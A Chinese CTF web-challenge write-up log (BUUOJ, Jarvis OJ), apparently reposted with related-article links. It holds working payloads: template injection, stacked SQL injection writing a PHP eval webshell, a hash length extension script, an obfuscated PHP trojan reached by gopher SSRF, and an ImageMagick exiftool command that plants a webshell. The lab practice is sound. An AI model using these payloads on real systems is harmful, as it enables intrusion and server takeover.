web做题记录(buuoj,jarvis,攻防世界,bugku,hackme)

2023-11-19

web做题笔记

buuoj

easy_tornado

tornado是一个python写的web服务器

读取文件hint.txt:md5(cookie_secret+md5(filename))

我们只要找到cookie_secret 就能读取任意文件

直接搜cve:找到一个\r\n分割请求的。。好像搞不到cookie_secret

找到error?msg=Error模板注入???

{ {1.}}出现1.0 九成九模板注入,是什么模板?估计是自己的template

cookie_secret在tornado.web.Application中

黑名单:",',(,),_,%,*,+,-,/,=,[,],\\,|

{ { {1,2,3} }}

又是一次思维定势,老想着__class__啥的,后来被提醒一下,才意识到拿到cookie_secret并不需要命令执行,完全可以读类来获取信息

有两种比较好的办法找到cookie_secret在哪

  • 写个脚本,把所有的类跑一边
  • 读代码找到可疑的类

最后的payload:{ {handler.application.settings}}

'cookie_secret': 'f680f1d4-b940-40c2-9f82-0b1832c64479'

随便注

禁用return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

emmmm还有creater…

查询语句类似:select xxx from xxx where xxx='1'

测试清单:

1#  没有闭合单引号却有查询结果
1""""""" 可以查询到,猜测过滤了"

0' "o"r 1#
check the manual that corresponds to your MariaDB server version for the right syntax to use near 'r 1#'' at line 1</pre>
正常的报错
check the manual that corresponds to your MariaDB server version for the right syntax to use near '"o"r 1' at line 1
单纯的想多了
extractvalue(1, concat(0x7e, (database()),0x7e));

用报错注入弄出数据库名:supersqli

version:10.3.18-MariaDB

host:6e161107d1dd

port:3306

dir:/var/lib/mysql/

可以执行多条语句,

show variables like 'general_log';  -- 查看日志是否开启
set global general_log=on; -- 开启日志功能
show variables like 'general_log_file';  -- 看看日志文件保存位置
set global general_log_file='tmp/general.lg'; -- 设置日志文件保存位置
show variables like 'log_output';  -- 看看日志输出类型  table或file
set global log_output='table'; -- 设置输出类型为 table
set global log_output='file';   -- 设置输出类型为file

这些命令都可以执行

试着写个webshell

1';set global general_log_file=0x2F7661722F7777772F68746D6C2F72652E706870;#

1';set global general_log=on;

webshell:Access denied.

草,用prepare执行预定义sql语句/为啥我搜不到…

1';Set @sql=concat("s","elect '<?php @eval($_POST[a]);?>' into outfile '/var/www/html/44",char(46),"php'");PREPARE sqla from @sql;EXECUTE sqla;

warmup


<?php
    highlight_file(__FILE__);
    class emmm
    {
   
        public static function checkFile(&$page)
        {
   
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
   
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
   
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

 $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
   
                return true;
            }

这里有个逻辑漏洞,如果我们构造hint.php?那么后面的内容随我们控制用…/xxx来读取

hint.php?/../ffffllllaaaagggg

读取失败//

emmmmmm,flag在根目录

easysql

猜测sql语句类似:select xx from xx where xx=query

select query from xxxx;

输出:

too long,nonono,结果

长度限制:40

黑名单:sleep,or,",from,where,outfile

奇怪的输出

123=>1

123#=>123

由这两个可以猜测sql语句类似

select query from xxxx;

database();select%201%23

结果

Array
(
    [0] => ctf
)
Array
(
    [0] => 1
)

可以执行多个sql语句,可以试着用prepare绕过黑名单禁用from…

1;show%20databases%23


Array
(
    [0] => 1
)
Array
(
    [0] => ctf
)
Array
(
    [0] => ctftraining
)
Array
(
    [0] => information_schema
)
Array
(
    [0] => mysql
)
Array
(
    [0] => performance_schema
)
Array
(
    [0] => test
)

可在了禁了from上

后来看到Give me your flag, I will tell you if the flag is right.

并且flag存在表里,所以应该有from Flag

构造payload :*,1

高明的黑客

题目提供的文件却是在网站上,但是不知道哪里能命令执行

还有网站的配置也很奇怪

jarvisoj

re?

看wp。

百度一下发现udf(user defined function)是mysql的自定义函数

所以要导入到mysql中。

步骤

> show variables like "%plugin%";
+---------------+------------------------+
| Variable_name | Value                  |
+---------------+------------------------+
| plugin_dir    | /usr/lib/mysql/plugin/ |
+---------------+------------------------+

把 udf.so 移到该目录下

> create function help_me returns string soname 'udf.so';
> select help_me();
+---------------------------------------------+
| help_me()                                   |
+---------------------------------------------+
| use getflag function to obtain your flag!!  |
+---------------------------------------------+

> create function getflag returns string soname 'udf.so';
> select getflag();
+------------------------------------------+
| getflag()                                |
+------------------------------------------+
| PCTF{Interesting_U5er_d3fined_Function}  |
+------------------------------------------+

> drop function help_me;
> drop function getflag;

flag在管理员手上

扫目录发现源代码的vim交换文件

vim -r 还原

得到


<!DOCTYPE html>
<html>
<head>
<title>Web 350</title>
<style type="text/css">
        body {
   
                background:gray;
                text-align:center;
        }
</style>
</head>

<body>
        <?php
                $auth = false;
                $role = "guest";
                $salt =
                if (isset($_COOKIE["role"])) {
   
                        $role = unserialize($_COOKIE["role"]);
                        $hsh = $_COOKIE["hsh"];
                        if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
   
                                $auth = true;
                        } else {
   
                                $auth = false;
                        }
                } else {
   
                        $s = serialize($role);
                        setcookie('role',$s);
                        $hsh = md5($salt.strrev($s));
                        setcookie('hsh',$hsh);
                }
                if ($auth) {
   
                        echo "<h3>Welcome Admin. Your flag is 
                } else {
                        echo "<h3>Only Admin can see the flag!!</h3>";
                }
        ?>
        
</body>
</html>

典型的哈希长度扩展攻击

唯一不确定的就是密钥长度,写个脚本爆破

#!/usr/bin/env python
import os
import requests
import urllib
def rev(s):
	s=eval("'"+s+"'")
	return urllib.quote(s[::-1])

for i in range(128):
	print(123)
	tmp=os.popen("hashpump -s 3a4727d57463f122833d9e732f94e4e0 --data "+'\'s:5:"guest";\''[::-1]+' -a '+'\'s:5:"admin";\''[::-1]+" -k "+str(i)).readlines()
	print("hashpump -s 3a4727d57463f122833d9e732f94e4e0 -d "+'\'s:5:"guest";\''[::-1]+' -a '+'s:5:"admin";'[::-1]+" -k "+str(i))
	hsh=tmp[0].replace('\n','')
	role=rev(tmp[1].replace('\n',''))
	cookie={
   'hsh':hsh,'role':role}
	text=requests.get("http://web.jarvisoj.com:32778/",cookies=cookie).text
	if 'CTF' in text :
		print(text)
		break
	print(cookie)

api调用

请设法获得目标机器/home/ctf/flag.txt中的flag值。

image.png

点击按钮发生:

function send(){
   
 evil_input = document.getElementById("evil-input").value;
 var xhr = XHR();
     xhr.open("post","/api/v1.0/try",true);
     xhr.onreadystatechange = function () {
   
         if (xhr.readyState==4 && xhr.status==201) {
   
             data = JSON.parse(xhr.responseText);
             tip_area = document.getElementById("tip-area");
             tip_area.value = data.task.search+data.task.value;
         }
     };
     xhr.setRequestHeader("Content-Type","application/json");
     xhr.send('{"search":"'+evil_input+'","value":"own"}');
}

向这个api请求。想了半天,试各种非法输入,长度限制都没用,中间猜测xxe,虽然有了思路但是却无从下手,看到flask又想到模板注入,还是无处下手

最后看了wp,把请求头Content-Type: application/json改为

Content-Type: application/xml来进行xxe,我也是醉了/fad

chopper

感觉这题有点傻逼

小明入侵了一台web服务器并上传了一句话木马,但是,管理员修补了漏洞,更改了权限。更重要的是:他忘记了木马的密码!你能帮助他夺回控制权限吗?

关卡入口:http://web.jarvisoj.com:32782/

抓包,扫目录,然后发现了proxy.php

admin目录源码提示只有202.5.19.128才能访问

proxy.php是标准的ssrf,访问202.5.19.128

	var url = <br />
<b>Notice</b>:  Undefined variable: url in <b>/opt/lampp/htdocs/index.php</b> on line <b>17</b><br />
'';
	if(window.dialogArguments)
		url = window.dialogArguments[1];
	var str = '';
	str += '<frameset rows="*, 25" cols="*" framespacing="0" frameborder="0" border="0" id="window_open_frame">';
	str += '<frame name="contentFrame" src="'+url+'" scrolling="auto" noresize>';
	str += '</frameset><noframes></noframes>';
	document.write(str);

没有用,无法进行ssrf

然后扫202.5.19.128的目录发现了1.php…和index.php一样

利用报错得知是用curl来访问url的,并得到了文件的绝对路径

尝试用file://协议来读取文件,发现被过滤

后来弄着弄着想,会不会对GET和POST的处理方式不一样…还真是

成功利用file://localhost/opt/lampp/htdocs/proxy.php读取到文件

接着利用这个扫admin目录

找到

User-agent: *
Disallow:trojan.php
Disallow:trojan.php.txt

trojan.php

<?php ${
   ("#"^"|").("#"^"|")}=("!"^"`").("( "^"{").("("^"[").("~"^";").("|"^".").("*"^"~");${
   ("#"^"|").("#"^"|")}(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("e"^"A"). ("("^"w").("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("T"^"g"). ("e"^"S"). ("_"^"o"). ("?"^"b"). ("]"^"t"));?>

密码是360,但是请求方法是POST

接下来就只剩下利用202.5.19.128来进行ssrf,然后我在这里卡了一个晚上

最后看别人的wp才知道这里有一个proxy.php,我就炸了。

剩下的就简单了,利用gopher协议来发送POST请求

最后的payload:

GET /proxy.php?url=http://202.5.19.128/proxy.php?url=gopher://web.jarvisoj.com:32782/_%252550%25254f%252553%252554%252520%25252f%252561%252564%25256d%252569%25256e%25252f%252574%252572%25256f%25256a%252561%25256e%25252e%252570%252568%252570%252520%252548%252554%252554%252550%25252f%252531%25252e%252531%25250d%25250a%252548%25256f%252573%252574%25253a%252520%252577%252565%252562%25252e%25256a%252561%252572%252576%252569%252573%25256f%25256a%25252e%252563%25256f%25256d%25253a%252533%252532%252537%252538%252532%25250d%25250a%252543%252561%252563%252568%252565%25252d%252543%25256f%25256e%252574%252572%25256f%25256c%25253a%252520%25256d%252561%252578%25252d%252561%252567%252565%25253d%252530%25250d%25250a%252555%252570%252567%252572%252561%252564%252565%25252d%252549%25256e%252573%252565%252563%252575%252572%252565%25252d%252552%252565%252571%252575%252565%252573%252574%252573%25253a%252520%252531%25250d%25250a%252555%252573%252565%252572%25252d%252541%252567%252565%25256e%252574%25253a%252520%25254d%25256f%25257a%252569%25256c%25256c%252561%25252f%252535%25252e%252530%252520%252528%252557%252569%25256e%252564%25256f%252577%252573%252520%25254e%252554%252520%252531%252530%25252e%252530%25253b%252520%252557%252569%25256e%252536%252534%25253b%252520%252578%252536%252534%252529%252520%252541%252570%252570%25256c%252565%252557%252565%252562%25254b%252569%252574%25252f%252535%252533%252537%25252e%252533%252536%252520%252528%25254b%252548%252554%25254d%25254c%25252c%252520%25256c%252569%25256b%252565%252520%252547%252565%252563%25256b%25256f%252529%252520%252543%252568%252572%25256f%25256d%252565%25252f%252537%252537%25252e%252530%25252e%252533%252538%252536%252535%25252e%252539%252530%252520%252553%252561%252566%252561%252572%252569%25252f%252535%252533%252537%25252e%252533%252536%25250d%25250a%252541%252563%252563%252565%252570%252574%25253a%252520%252574%252565%252578%252574%25252f%252568%252574%25256d%25256c%25252c%252561%252570%252570%25256c%252569%252563%252561%252574%252569%25256f%25256e%25252f%252578%252568%252574%25256d%25256c%25252b%252578%25256d%25256c%25252c%252561%252570%252570%25256c%252569%252563%252561%252574%252569%25256f%25256e%25252f%252578%25256d%25256c%25253b%252571%25253d%252530%25252e%252539%25252c%252569%25256d%252561%252567%252565%25252f%252577%252565%252562%252570%25252c%252569%25256d%252561%252567%252565%25252f%252561%252570%25256e%252567%25252c%25252a%25252f%25252a%25253b%252571%25253d%252530%25252e%252538%25252c%252561%252570%252570%25256c%252569%252563%252561%252574%252569%25256f%25256e%25252f%252573%252569%252567%25256e%252565%252564%25252d%252565%252578%252563%252568%252561%25256e%252567%252565%25253b%252576%25253d%252562%252533%25250d%25250a%252541%252563%252563%252565%252570%252574%25252d%25254c%252561%25256e%252567%252575%252561%252567%252565%25253a%252520%25257a%252568%25252d%252543%25254e%25252c%25257a%252568%25253b%252571%25253d%252530%25252e%252539%25252c%252565%25256e%25252d%252555%252553%25253b%252571%25253d%252530%25252e%252538%25252c%252565%25256e%25253b%252571%25253d%252530%25252e%252537%25250d%25250a%252543%25256f%25256e%25256e%252565%252563%252574%252569%25256f%25256e%25253a%252520%252563%25256c%25256f%252573%252565%25250d%25250a%252543%25256f%25256e%252574%252565%25256e%252574%25252d%252554%252579%252570%252565%25253a%252520%252561%252570%252570%25256c%252569%252563%252561%252574%252569%25256f%25256e%25252f%252578%25252d%252577%252577%252577%25252d%252566%25256f%252572%25256d%25252d%252575%252572%25256c%252565%25256e%252563%25256f%252564%252565%252564%25250d%25250a%252543%25256f%25256e%252574%252565%25256e%252574%25252d%25254c%252565%25256e%252567%252574%252568%25253a%252520%252537%25250d%25250a%25250d%25250a%252533%252536%252530%25253d%252522%252570%252568%252570%252569%25256e%252566%25256f%252528%252529%25253b%252522 HTTP/1.1
Client-Ip: 202.5.19.128
X-Forwarded-For: 202.5.19.128
Host: 202.5.19.128
Referer: 202.5.19.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

图片上传漏洞

非常简单,但是想记录一下这道题利用的cve

题目提示图片上传漏洞,扫目录发现test.php里是phpinfo

结合提示猜测是imagmagic的cve,看了一下版本ImageMagick 6.7.7-10,可以利用imagemagic的命令执行漏洞

p牛的分析https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html

还有phpinfo要注意的内容https://seaii-blog.com/index.php/2017/10/25/73.html

根据题目提示修改png的exif来利用

最终生成exp的payload:

exiftool -label="\"|/bin/echo '<?php eval("'$_POST[a])'"?>' > /opt/lampp/htdocs/uploads/flag.php ; \"" 2.png 

inject

<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{
     $table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{
     $table}";
$ret = sql_query($sql);
echo $ret[0];
?>

mysqli_query($mysqli,"desc secret_{$table}")不报错的时候,才能查询

 DESC tbl_name [col_name | wild]

payload:

table=test` `sql inject

table:secret_flag,secret_test

web?

抓包分析发现,向一个json文件发送信息,不明所以,于是去分析前端js代码

发现本地的密码校验

function(e) {
   
                if (25 !== e.length)
                    return !1;
                for (var t = [], n = 0; n < 25; n++)
                    t.push(e.charCodeAt(n));
                for (var r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259], o = [[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

web做题记录(buuoj,jarvis,攻防世界,bugku,hackme) 的相关文章

  • 虚拟机内搭建CTFd平台搭建及CTF题库部署,局域网内机器可以访问

    一 虚拟机环境搭建 1 安装docker git docker compose ubuntu sudo apt get update 更新系统 sudo apt get y install docker io 安装docker sudo a
  • ctfshow 文件包含

    目录 web78 web79 web80 81 web82 web83 web78 简单的伪协议文件包含 payload php filter convert base64 encode resource flag php web79 pa
  • buuCTF [ISITDTU 2019]EasyPHP 1

    buuCTF ISITDTU 2019 EasyPHP 1 直接代码审计 第一个if 过preg match 一般有三种方法 取反绕过 异或绕过 转义绕过 这里用取反绕过 第二个if的意思是输入的字符串不重复的字符长度不超过0xd即13 如
  • 2020ciscn wp

    目录 1 签到电台 2 基于挑战码的双向认证 1 2 3 web Ezpo 4 基于挑战码的双向认证3 5 ISO9798 6 问卷调查 7 ez usb 8 login nomal 1 签到电台 操作内容 根据公众号提示 知道了模十的算法
  • CTFhub技能树_Web RCE

    一 eval执行 1 分析 打开网站显示如下代码 大体意思是 判断cmd是否被设置 若cmd被赋值 则执行如下语句 否则就继续显示以上代码 eval REQUEST cmd 其中 eval 该函数可以把字符串作为PHP代码执行 REQUES
  • [西湖论剑2021中国杭州网络安全技能大赛]Yusa的秘密 writeup

    西湖论剑2021 Yusa的秘密 Sakura组织即将进攻地球 此时你意外得到了该组织内某个成员的电脑文件 你能从中发现本次阴谋所用的关键道具吗 注 题目中包含了五个彩蛋 且彩蛋对解题本身没有任何影响 快去发现吧 附件 Who am I z
  • ctfshow- web1(50 point)

    0x00 前言 CTF 加解密合集 CTF Web合集 0x01 题目 0x02 Write Up 首先映入眼帘的是登录界面 尝试弱口令无果 可以注册 尝试注册一个账号 通过url发现这里是通过order by进行了排序 测试发现一共5个字
  • CTF中那些脑洞大开的编码和加密

    0x00 前言 正文开始之前先闲扯几句吧 玩CTF的小伙伴也许会遇到类似这样的问题 表哥 你知道这是什么加密吗 其实CTF中脑洞密码题 非现代加密方式 一般都是各种古典密码的变形 一般出题者会对密文进行一些处理 但是会给留一些线索 所以写此
  • 【极客大挑战2019】LoveSQL解题

    1 打开靶机 BUUCTF在线评测 选择web gt 极客大挑战2019 LoveSQL 打开被测试站点 是这个样子的 是上一题EasySQL的延续 2 EasySQL那道题采用万能密码 我们也直接使用万能密码试一下 结果如下 直接给出了密
  • ctfshow_web149

    打开容器
  • ctfshow-web3

    0x00 前言 CTF 加解密合集 CTF Web合集 0x01 题目 0x02 Write Up 这个题目一看就知道是一个文件包含漏洞 php input可以访问请求的原始数据的只读流 将post请求的数据当作php代码执行 GET ht
  • BUUCTF[强网杯 2019]随便注 的三种解法

    文章目录 尝试注入 解题思路1 解题思路2 解题思路3 知识点总结 打开后题目是这样的 尝试注入 1 测试 1 or 1 1 初步判定存在SQL注入 1 or 1 1 再测试字段数 到3时报错 说明字段数为2 1 order by 1 接着
  • CTF-----RE练习题(二)

    学习打卡篇八 每天学习一点点 认识壳 在一些计算机软件里有一段专门负责保护软件不被非法修改或反编译的程序 它们一般都是先于程序运行 拿到控制权 然后完成它们保护软件的任务 由于这段程序和自然界的壳在功能上有很多相同的地方 所以就把这样的程序
  • 攻防世界(easy-apk)

    下载链接如下所示 https adworld xctf org cn media task attachments 989ca07c3f90426fa05406e4369901ff apk 使用JEB打开apk 如下所示 可知获得输入后进行
  • 强网杯 2019]随便注 【SQL注入】四种解法

    题目简介 题目名称 强网杯 2019 随便注 1 题目平台 BUUCTF 题目类型 Web 考察知识点 SQL注入 解题步骤 方法一 首先启动并访问靶机 有一个输入框 随便输入1 or 1 1 测试一下是否存在sql注入 提交后提示erro
  • BUUCTF [极客大挑战 2019]Knife

    打开一看结合题目 就是连接一下菜刀蚁剑 菜刀没用过只有蚁剑 下面用蚁剑实现 设置好URL和链接密码 找到flag文件 打开后找到flag 文件上传漏洞 一句话木马 php Asp Aspx 前端判断文件后缀名可以Burp Suite配置好P
  • [NCTF2019]Fake XML cookbook

    NCTF2019 Fake XML cookbook 日常刷题 打开题目嗯 一开始我的脑子里想到的是禁止自娱自乐 狗头 哈哈 第一想法就是试一下admin 别问为什么 web狗的自觉 果然没这么容易 抓包 将提交的数据放到了doLogin
  • ctfshow web7

    文章目录 题目分析 解题过程 题目分析 打开题目后 有三个文章 随便点一个之后发现网址上有个后缀 id 2 应该是get传参的注入了 在后缀上加 id 1 1 显示全部文章 可能是整形注入 还是盲注 他这个过滤了空格 用 代替 详见web6
  • [ISCTF 2023]——Web、Misc较全详细Writeup、Re、Crypto部分Writeup

    前言 由于懒我直接把上交的wp稍加修改拉上来了 凑活看 文章目录 前言 Pwn test nc nc shell Reverse Creakme EasyRe
  • 我如何检查 base64 字符串是否是文件(什么类型?)?

    我参加了 Spentalkux 挑战https 2020 ractf co uk https 2020 ractf co uk 这是我第一次参加CTF挑战 所以我解决了https github com W3rni0 RACTF 2020 b

随机推荐

  • PostgreSQL清空表并保留表结构、清空数据库还原数据库为新建时的状态的方法

    清空表并保留表结构 一般情况下 我们使用delete删除表中数据 但是delete是一条数据一条数据来删除表中的数据 直至表清空 保留表结构 但是当数据量很大时 它耗时较久 其实 删除表数据但保留表结构使用truncate更快速安全 使用方
  • ubuntu18.04配置cuda(RTX3080Ti)

    10系的显卡换成30系显卡后 之前配好的深度学习环境出现了兼容问题 索性重装系统 从零开始配环境 过程中也出现了各种对新显卡不兼容的情况 以下的配置是本人摸索最终成功的版本 特此记录一下 首先就是安装ubuntu18 04 这个不是本文的重
  • 常见改机软件及其原理

    1 改机原理分析 1 1 IOS设备改机原理 在iOS上目前所有流行的改机工具 本质上是利用substrate框架对某些用来获取设备和系统参数函数进行hook 从而欺骗App达到修改的目的 具体如下 用作获取设备参数的函数 无论是C函数 还
  • 蓝桥杯-2020年省赛-回文日期

    498 import datetime n input start datetime date int n 4 int n 4 6 int n 6 delta datetime timedelta days 1 flag 0 for i i
  • Ubuntu的快乐学习2——SnowBoy语音唤醒

    Ubuntu的快乐学习2 SnowBoy语音唤醒 学习前言 安装步骤 一 麦克风检测部分 1 安装pulseaudio和sox 2 安装其它软件依赖 二 获取源代码 学习前言 为了部落 安装步骤 一 麦克风检测部分 1 安装pulseaud
  • ubuntu20编译运行orb-slam3踩坑

    orb3 编译网上教程很多 写一下自己安装编译过程中踩的坑 一个半星期 终于可以跑demo了 1 出现如下问题 或者在Build target g2o时 卡住 make 2 CMakeFiles ORB SLAM3 dir build ma
  • Vue上传文件到springboot

  • Android中JNI在C/C++中的区别

    一 一个疑问 在进行JNI编程中 同样一个函数FindClass C和C 中有不同的用法 如果是C 要用 env gt FindClass str 如果是C要用 env gt FindClass env str 类似的区别几乎涉及到每一个结
  • 10 财政收入影响因素分析及预测模型

    4 10 财政收入影响因素分析及预测模型 10 1背景与挖掘目标 本案例通过研究发现影响目前以及未来地方财源建设的因素 并对其进行深入分析 提出对该市地方财源优化的具体建议 供政府决策参考 同时为其他发展较快的城市提供借鉴 本案例对1994
  • 1.Cesium介绍及环境配置

    前言 鸽了半年 flag立的太多 稿子存了100多篇 都没有开始排版整理 这些天正好学习cesium 决定每天更新一篇 提提神 一 Cesium简介 Cesium是一个用于显示三维地球的开源库 旨在释放3D数据的力量 它基于WebGL技术
  • Kmeans K均值聚类,OpenCV实现

    Clustering 聚类 kmeans k均值聚类 Finds centers of clusters and groups input samples around the clusters 寻找clusters的中心 并且将输入的样本
  • java 管程

    管程即Monitor 监视器 也叫锁 Monitor其实是一种同步机制 保证只有一个线程可以访问被保护的数据和代码 JVM中同步是基于进入和退出监视器对象 Monitor 来实现的 每个对象实例都会有一个Monitor对象 和java对象一
  • public static void main(String[] args) { //填入通过分享获取到的抖音视频地址 String videoUrl = getVid...

    这段代码的作用是从抖音 douyin 分享链接中获取视频的无水印播放地址 首先 它通过调用 HttpRequest get url 方法获取抖音视频的分享页面的 HTML 源代码 然后 通过调用 sub 方法并传入 HTML 源代码 开始字
  • 华为面试之Hr面,这个套路把我坑惨了......

    作为技术类的测试工程师面试 往往要经过多次面试才能拿到心仪的offer 这里面有技术一面 二面 甚至总监面等 还有一个必不可少的就是HR面 一般HR会出现在你面试的最前面和最后面 前面是了解你的基本情况 后面就是你已经通过了技术面试 他是来
  • Python3多进程(mutiprocessing)

    和Threading的比较 多进程 Multiprocessing 和多线程 threading 类似 他们都是在 python 中用来并行运算的 不过既然有了 threading 为什么 Python 还要出一个 multiprocess
  • linux文件权限说明(drwxr-xr-x)

    在linux中查看文件的时候 在每一行的最前面会有这样的一串字符 drwxr x 如下面的样例 drwxr x 2 root root 37 Apr 18 10 50 data rw r r 1 root root 68549 Sep 26
  • 95-34-030-Context-DefaultChannelHandlerContext

    文章目录 1 概述 2 继承体系 3 源码 1 概述 2 继承体系 3 源码 final class DefaultChannelHandlerContext
  • 写个剧本,关于风花雪夜的

    起 一个寒冷的晚上 一位年轻的男子走在冰冷的雪地上 他只带着一把手电筒和一双雪靴 行走在漆黑的夜晚 细节 他看到了一片白色的风景 突然 一股强烈的风吹过 让他感觉到了一股温暖 他看到了一片花海 花朵们被风吹得起舞 像美丽的舞蹈一样 它们的芳
  • 错误码:events.js:141 throw er; // Unhandled ‘error’ event—解决办法

    错误码 events js 141 throw er Unhandled error event 解决办法 具体错误信息 dev events js 141 throw er Unhandled error event Error list
  • web做题记录(buuoj,jarvis,攻防世界,bugku,hackme)

    web做题笔记 文章目录 web做题笔记 buuoj easy tornado 随便注 warmup easysql 高明的黑客 jarvisoj re flag在管理员手上 api调用 chopper 图片上传漏洞 inject web